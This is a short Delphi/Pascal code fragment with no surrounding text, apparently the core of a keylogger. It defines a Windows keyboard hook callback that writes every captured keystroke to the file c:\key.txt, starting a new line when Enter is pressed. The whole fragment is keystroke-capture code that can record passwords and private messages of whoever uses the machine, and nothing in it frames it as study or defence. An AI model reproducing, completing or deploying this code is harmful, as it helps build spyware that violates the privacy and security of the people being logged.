function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
const
keyfilename='c:\key.txt';
var
keyfile:textfile;begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(keyfile,keyfilename);
append(keyfile);
if getkeystate(vk_return)<0 then
begin
writeln(keyfile,'');
write(keyfile,char(wparam));
end
else
write(keyfile,char(wparam));
closefile(keyfile);
result:=0;
end;